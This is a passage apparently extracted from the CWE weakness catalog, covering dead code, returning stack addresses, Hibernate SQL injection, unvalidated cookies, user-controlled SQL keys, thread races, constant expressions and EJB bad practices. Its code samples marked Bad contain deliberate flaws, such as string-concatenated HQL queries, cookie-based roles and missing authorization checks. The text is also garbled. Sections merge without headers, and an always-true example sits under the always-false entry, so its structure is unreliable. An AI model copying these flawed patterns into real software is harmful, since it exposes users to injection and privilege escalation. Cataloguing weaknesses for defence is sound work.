Other	Reduce Maintainability	

Detection Methods

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Binary / Bytecode Quality Analysis Compare binary / bytecode to application permission manifest

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Permission Manifest Analysis

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source Code Quality Analyzer Cost effective for partial coverage: Warning Flags Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Potential Mitigations

Phase: Implementation

Remove dead code before deploying the application.

Phase: Testing

Use a static analysis tool to spot dead code.

Demonstrative Examples

Example 1:

The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null. However, on the only path where s can be assigned a non-null value, there is a return statement.

Example Language: C++ *(Bad)*

```
String s = null;
if (b) {
```

```
    s = "Yes";
    return;
}
if (s != null) {
    Dead();
}
```

Example 2:

In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code.

Example Language: Java *(Bad)*

```
public class DoubleDead {
    private void doTweedledee() {
        doTweedledumb();
    }
    private void doTweedledumb() {
        doTweedledee();
    }
    public static void main(String[] args) {
        System.out.println("running DoubleDead");
    }
}
```

(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.)

Example 3:

The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant.

Example Language: Java *(Bad)*

```
public class Dead {
    String glue;
    public String getGlue() {
        return "glue";
    }
}
```

Observed Examples

Reference	Description
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-562: Return of Stack Variable Address

Weakness ID : 562
Structure : Simple
Abstraction : Base

Description

A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.

Extended Description

Because local variables are allocated on the stack, when a program returns a pointer to a local variable, it is returning a stack address. A subsequent function call is likely to re-use this same stack address, thereby overwriting the value of the pointer, which no longer corresponds to the same variable since a function's stack frame is invalidated when it returns. At best this will cause the value of the pointer to change unexpectedly. In many cases it causes the program to crash the next time the pointer is dereferenced.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2459

Weakness Ordinalities

Indirect :

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Confidentiality	Read Memory Modify Memory Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart *If the returned stack buffer address is dereferenced after the return, then an attacker may be able to modify or read memory, depending on how the address is used. If the address is used for reading, then the address itself may be exposed, or the contents that the address points to. If the address is used for writing, this can lead to a crash and possibly code execution.*	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Testing

Use static analysis tools to spot return of the address of a stack variable.

Demonstrative Examples

Example 1:

The following function returns a stack address.

Example Language: C *(Bad)*

```
char* getName() {
   char name[STR_MAX];
   fillInName(name);
   return name;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Software Fault Patterns	SFP1		Glitch in computation

CWE-563: Assignment to Variable without Use

Weakness ID : 563
Structure : Simple
Abstraction : Base

Description

The variable's value is assigned but never used, making it a dead store.

Extended Description

After the assignment, the variable is either assigned another value or goes out of scope. It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-564: SQL Injection: Hibernate

Weakness ID : 564
Structure : Simple
Abstraction : Variant

Description

Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ChildOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	206

Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)

Nature	Type	ID	Name	Page
ChildOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	206

Applicable Platforms

Language : SQL *(Prevalence = Often)*

Technology : Database Server *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Potential Mitigations

Phase: Requirements

A non-SQL style database which is not subject to this flaw may be chosen.

Phase: Architecture and Design

Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.

Phase: Implementation

Use vigorous allowlist style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use. Narrowly define the set of safe characters based on the expected value of the parameter in the request.

Demonstrative Examples

Example 1:

The following code excerpt uses Hibernate's HQL syntax to build a dynamic query that's vulnerable to SQL injection.

Example Language: Java *(Bad)*

```
String street = getStreetFromUser();
Query query = session.createQuery("from Address a where a.street='" + street + "'");
```

CWE-565: Reliance on Cookies without Validation and Integrity Checking

Weakness ID : 565
Structure : Simple
Abstraction : Base

Description

The product relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	602	Client-Side Enforcement of Server-Side Security	1362
ChildOf	C	642	External Control of Critical State Data	1425
ParentOf	V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	1665

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1483

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	2471

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2514

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Modify Application Data Execute Unauthorized Code or Commands *Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can allow attackers to bypass authentication, conduct injection attacks such as SQL injection and cross-site scripting, or otherwise modify inputs in unexpected ways.*	
Access Control	Gain Privileges or Assume Identity *It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to escalate an attacker's privileges to an administrative level.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Avoid using cookie data for a security-related decision.

Phase: Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Phase: Architecture and Design

Add integrity checks to detect tampering.

Phase: Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

Demonstrative Examples

Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Example Language: Java *(Bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
   Cookie c = cookies[i];
   if (c.getName().equals("role")) {
      userRole = c.getValue();
   }
}
```

It is easy for an attacker to modify the "role" value found in the locally stored cookie, allowing privilege escalation.

Observed Examples

Reference	Description
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1. *https://www.cve.org/CVERecord?id=CVE-2008-5784*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2432
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2532

Nature	Type	ID	Name	V	Page
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2565

Notes

Relationship

This problem can be primary to many types of weaknesses in web applications. A developer may perform proper validation against URL parameters while assuming that attackers cannot modify cookies. As a result, the program might skip basic input validation to enable cross-site scripting, SQL injection, price tampering, and other attacks..

CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key

Weakness ID : 566
Structure : Simple
Abstraction : Variant

Description

The product uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.

Extended Description

When a user can set a primary key to any value, then the user can modify the key to point to unauthorized records.

Database access control errors occur when:

- Data enters a program from an untrusted source.
- The data is used to specify the value of a primary key in a SQL query.
- The untrusted source does not have the permissions to be able to access all rows in the associated table.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	639	Authorization Bypass Through User-Controlled Key	1418

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2462

Applicable Platforms

Language : SQL *(Prevalence = Often)*

Technology : Database Server *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data. Use an "accept known good" validation strategy.

Phase: Implementation

Use a parameterized query AND make sure that the accepted values conform to the business rules. Construct your SQL statement accordingly.

Demonstrative Examples

Example 1:

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

Example Language: C# *(Bad)*

```
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...
```

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context

Weakness ID : 567
Structure : Simple
Abstraction : Base

Description

The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.

Extended Description

Within servlets, shared static variables are not protected from concurrent access, but servlets are multithreaded. This is a typical programming mistake in J2EE applications, since the multithreading is handled by the framework. When a shared variable can be influenced by an attacker, one thread could wind up modifying the variable to contain data that is not valid for a different thread that is also using the data within the variable.

Note that this weakness is not unique to servlets.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1460

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Read Application Data Modify Application Data DoS: Instability DoS: Crash, Exit, or Restart *If the shared variable contains sensitive data, it may be manipulated or displayed in another user session. If this data is used to control the application, its value can be manipulated to cause the application to crash or perform poorly.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Remove the use of static variables used between servlets. If this cannot be avoided, use synchronized access for these variables.

Demonstrative Examples

Example 1:

The following code implements a basic counter for how many times the page has been accesed.

Example Language: Java *(Bad)*

```
public static class Counter extends HttpServlet {
  static int count = 0;
  protected void doGet(HttpServletRequest in, HttpServletResponse out)
  throws ServletException, IOException {
    out.setContentType("text/plain");
    PrintWriter p = out.getWriter();
    count++;
    p.println(count + " hits so far!");
  }
}
```

Consider when two separate threads, Thread A and Thread B, concurrently handle two different requests:

- Assume this is the first occurrence of doGet, so the value of count is 0.
- doGet() is called within Thread A.
- The execution of doGet() in Thread A continues to the point AFTER the value of the count variable is read, then incremented, but BEFORE it is saved back to count. At this stage, the incremented value is 1, but the value of count is 0.
- doGet() is called within Thread B, and due to a higher thread priority, Thread B progresses to the point where the count variable is accessed (where it is still 0), incremented, and saved. After the save, count is 1.

- Thread A continues. It saves the intermediate, incremented value to the count variable - but the incremented value is 1, so count is "re-saved" to 1.

At this point, both Thread A and Thread B print that one hit has been seen, even though two separate requests have been processed. The value of count should be 2, not 1.

While this example does not have any real serious implications, if the shared variable in question is used for resource tracking, then resource consumption could occur. Other scenarios exist.

CWE-570: Expression is Always False

Weakness ID : 570
Structure : Simple
Abstraction : Base

Description

The product contains an expression that will always evaluate to false.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1561
CanPrecede	B	561	Dead Code	1286

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	569	Expression Issues	2367

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Testing

Use Static Analysis tools to spot such conditions.

Demonstrative Examples

Example 1:

In the following Java example the updateUserAccountOrder() method used within an e-business product ordering/inventory application will validate the product number that was ordered and the user account number. If they are valid, the method will update the product inventory, the user account, and the user order appropriately.

Example Language: Java *(Bad)*

```
public void updateUserAccountOrder(String productNumber, String accountNumber) {
   boolean isValidProduct = false;
   boolean isValidAccount = false;
   if (validProductNumber(productNumber)) {
      isValidProduct = true;
      updateInventory(productNumber);
   }
   else {
      return;
   }
   if (validAccountNumber(accountNumber)) {
      isValidProduct = true;
      updateAccount(accountNumber, productNumber);
   }
   if (isValidProduct && isValidAccount) {
      updateAccountOrder(accountNumber, productNumber);
   }
}
```

However, the method never sets the isValidAccount variable after initializing it to false so the isValidProduct is mistakenly used twice. The result is that the expression "isValidProduct && isValidAccount" will always evaluate to false, so the updateAccountOrder() method will never be invoked. This will create serious problems with the product ordering application since the user account and inventory databases will be updated but the order will not be updated.

This can be easily corrected by updating the appropriate variable.

Example Language: Java *(Good)*

```
...
if (validAccountNumber(accountNumber)) {
   isValidAccount = true;
   updateAccount(accountNumber, productNumber);
}
...
```

Example 2:

In the following example, the hasReadWriteAccess method uses bit masks and bit operators to determine if a user has read and write privileges for a particular process. The variable mask is defined as a bit mask from the BIT_READ and BIT_WRITE constants that have been defined. The variable mask is used within the predicate of the hasReadWriteAccess method to determine if the userMask input parameter has the read and write bits set.

Example Language: C *(Bad)*

```
#define BIT_READ 0x0001 // 00000001
#define BIT_WRITE 0x0010 // 00010000
unsigned int mask = BIT_READ & BIT_WRITE; /* intended to use "|" */
// using "&", mask = 00000000
// using "|", mask = 00010001
// determine if user has read and write access
int hasReadWriteAccess(unsigned int userMask) {
   // if the userMask has read and write bits set
   // then return 1 (true)
   if (userMask & mask) {
```

```
    return 1;
  }
  // otherwise return 0 (false)
  return 0;
}
```

However the bit operator used to initialize the mask variable is the AND operator rather than the intended OR operator (CWE-480), this resulted in the variable mask being set to 0. As a result, the if statement will always evaluate to false and never get executed.

The use of bit masks, bit operators and bitwise operations on variables can be difficult. If possible, try to use frameworks or libraries that provide appropriate functionality and abstract the implementation.

Example 3:

In the following example, the updateInventory method used within an e-business inventory application will update the inventory for a particular product. This method includes an if statement with an expression that will always evaluate to false. This is a common practice in C/C++ to introduce debugging statements quickly by simply changing the expression to evaluate to true and then removing those debugging statements by changing expression to evaluate to false. This is also a common practice for disabling features no longer needed.

Example Language: C *(Bad)*

```
int updateInventory(char* productNumber, int numberOfItems) {
  int initCount = getProductCount(productNumber);
  int updatedCount = initCount + numberOfItems;
  int updated = updateProductCount(updatedCount);
  // if statement for debugging purposes only
  if (1 == 0) {
    char productName[128];
    productName = getProductName(productNumber);
    printf("product %s initially has %d items in inventory \n", productName, initCount);
    printf("adding %d items to inventory for %s \n", numberOfItems, productName);
    if (updated == 0) {
      printf("Inventory updated for product %s to %d items \n", productName, updatedCount);
    }
    else {
      printf("Inventory not updated for product: %s \n", productName);
    }
  }
  return updated;
}
```

Using this practice for introducing debugging statements or disabling features creates dead code that can cause problems during code maintenance and potentially introduce vulnerabilities. To avoid using expressions that evaluate to false for debugging purposes a logging API or debugging API should be used for the output of debugging messages.

Nature	Type	ID	Name	Page
MemberOf	C	569	Expression Issues	2367

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Testing

Use Static Analysis tools to spot such conditions.

Demonstrative Examples

Example 1:

In the following Java example the updateInventory() method used within an e-business product ordering/inventory application will check if the input product number is in the store or in the warehouse. If the product is found, the method will update the store or warehouse database as well as the aggregate product database. If the product is not found, the method intends to do some special processing without updating any database.

Example Language: Java *(Bad)*

```
public void updateInventory(String productNumber) {
   boolean isProductAvailable = false;
   boolean isDelayed = false;
   if (productInStore(productNumber)) {
      isProductAvailable = true;
      updateInStoreDatabase(productNumber);
   }
   else if (productInWarehouse(productNumber)) {
      isProductAvailable = true;
      updateInWarehouseDatabase(productNumber);
   }
   else {
      isProductAvailable = true;
   }
   if ( isProductAvailable ) {
      updateProductDatabase(productNumber);
   }
   else if ( isDelayed ) {
      /* Warn customer about delay before order processing */
      ...
   }
}
```

However, the method never sets the isDelayed variable and instead will always update the isProductAvailable variable to true. The result is that the predicate testing the isProductAvailable boolean will always evaluate to true and therefore always update the product database. Further, since the isDelayed variable is initialized to false and never changed, the expression always evaluates to false and the customer will never be warned of a delay on their product.

CWE-572: Call to Thread run() instead of start()

Weakness ID : 572
Structure : Simple
Abstraction : Variant

Description

The product calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.

Extended Description

In most cases a direct call to a Thread object's run() method is a bug. The programmer intended to begin a new thread of control, but accidentally called run() instead of start(), so the run() method will execute in the caller's thread of control.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-574: EJB Bad Practices: Use of Synchronization Primitives

Weakness ID : 574
Structure : Simple
Abstraction : Variant

Description

The product violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use thread synchronization primitives to synchronize execution of multiple instances." The specification justifies this requirement in the following way: "This rule is required to ensure consistent runtime semantics because while some EJB containers may use a single JVM to execute all enterprise bean's instances, others may distribute the instances across multiple JVMs."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1536
ChildOf	B	821	Incorrect Synchronization	1735

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Do not use Synchronization Primitives when writing EJBs.

Demonstrative Examples

Example 1:

In the following Java example a Customer Entity EJB provides access to customer information in a database for a business application.

Example Language: Java *(Bad)*

```
@Entity
public class Customer implements Serializable {
   private String id;
   private String firstName;
   private String lastName;
   private Address address;
   public Customer() {...}
   public Customer(String id, String firstName, String lastName) {...}
   @Id
   public String getCustomerId() {...}
   public synchronized void setCustomerId(String id) {...}
   public String getFirstName() {...}
   public synchronized void setFirstName(String firstName) {...}
   public String getLastName() {...}
   public synchronized void setLastName(String lastName) {...}
   @OneToOne()
   public Address getAddress() {...}
   public synchronized void setAddress(Address address) {...}
}
```

However, the customer entity EJB uses the synchronized keyword for the set methods to attempt to provide thread safe synchronization for the member variables. The use of synchronized methods violate the restriction of the EJB specification against the use synchronization primitives within EJBs. Using synchronization primitives may cause inconsistent behavior of the EJB when used within different EJB containers.

CWE-575: EJB Bad Practices: Use of AWT Swing

Weakness ID : 575
Structure : Simple
Abstraction : Variant

Description

The product violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use the AWT functionality to attempt to output information to a display, or to input information from a keyboard." The specification justifies this requirement in the following way: "Most

servers do not allow direct interaction between an application program and a keyboard/display attached to the server system."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1536

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

Do not use AWT/Swing when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple converter class for converting US dollars to Yen. This converter class demonstrates the improper practice of using a stateless session Enterprise JavaBean that implements an AWT Component and AWT keyboard event listener to retrieve keyboard input from the user for the amount of the US dollars to convert to Yen.

Example Language: Java *(Bad)*

```
@Stateless
public class ConverterSessionBean extends Component implements KeyListener, ConverterSessionRemote {
  /* member variables for receiving keyboard input using AWT API */
  ...
  private StringBuffer enteredText = new StringBuffer();
  /* conversion rate on US dollars to Yen */
  private BigDecimal yenRate = new BigDecimal("115.3100");
  public ConverterSessionBean() {
    super();
    /* method calls for setting up AWT Component for receiving keyboard input */
    ...
    addKeyListener(this);
  }
  public BigDecimal dollarToYen(BigDecimal dollars) {
    BigDecimal result = dollars.multiply(yenRate);
    return result.setScale(2, BigDecimal.ROUND_DOWN);
  }
  /* member functions for implementing AWT KeyListener interface */
  public void keyTyped(KeyEvent event) {
    ...
  }
  public void keyPressed(KeyEvent e) {
  }
  public void keyReleased(KeyEvent e) {
  }
  /* member functions for receiving keyboard input and displaying output */
  public void paint(Graphics g) {...}
  ...
```

```
}
```

This use of the AWT and Swing APIs within any kind of Enterprise JavaBean not only violates the restriction of the EJB specification against using AWT or Swing within an EJB but also violates the intended use of Enterprise JavaBeans to separate business logic from presentation logic.

The Stateless Session Enterprise JavaBean should contain only business logic. Presentation logic should be provided by some other mechanism such as Servlets or Java Server Pages (JSP) as in the following Java/JSP example.

Example Language: Java *(Good)*

```
@Stateless
public class ConverterSessionBean implements ConverterSessionRemoteInterface {
   /* conversion rate on US dollars to Yen */
   private BigDecimal yenRate = new BigDecimal("115.3100");
   public ConverterSessionBean() {
   }
   /* remote method to convert US dollars to Yen */
   public BigDecimal dollarToYen(BigDecimal dollars) {
      BigDecimal result = dollars.multiply(yenRate);
      return result.setScale(2, BigDecimal.ROUND_DOWN);
   }
}
```

Example Language: JSP *(Good)*

```
<%@ page import="converter.ejb.Converter, java.math.*, javax.naming.*"%>
<%!
   private Converter converter = null;
   public void jspInit() {
      try {
         InitialContext ic = new InitialContext();
         converter = (Converter) ic.lookup(Converter.class.getName());
      } catch (Exception ex) {
         System.out.println("Couldn't create converter bean."+ ex.getMessage());
      }
   }
   public void jspDestroy() {
      converter = null;
   }
%>
<html>
   <head><title>Converter</title></head>
   <body bgcolor="white">
      <h1>Converter</h1>
      <hr>
      <p>Enter an amount to convert:</p>
      <form method="get">
         <input type="text" name="amount" size="25"><br>
         <p>
         <input type="submit" value="Submit">
         <input type="reset" value="Reset">
      </form>
      <%
         String amount = request.getParameter("amount");
         if ( amount != null && amount.length() > 0 ) {
            BigDecimal d = new BigDecimal(amount);
            BigDecimal yenAmount = converter.dollarToYen(d);
      %>
      <p>
      <%= amount %> dollars are <%= yenAmount %> Yen.
      <p>
      <%
         }
      %>
   </body>
```

```
</html>
```

Software Fault Patterns	SFP3		Use of an improper API

CWE-576: EJB Bad Practices: Use of Java I/O

Weakness ID : 576
Structure : Simple
Abstraction : Variant

Description

The product violates the Enterprise JavaBeans (EJB) specification by using the java.io package.

Extended Description

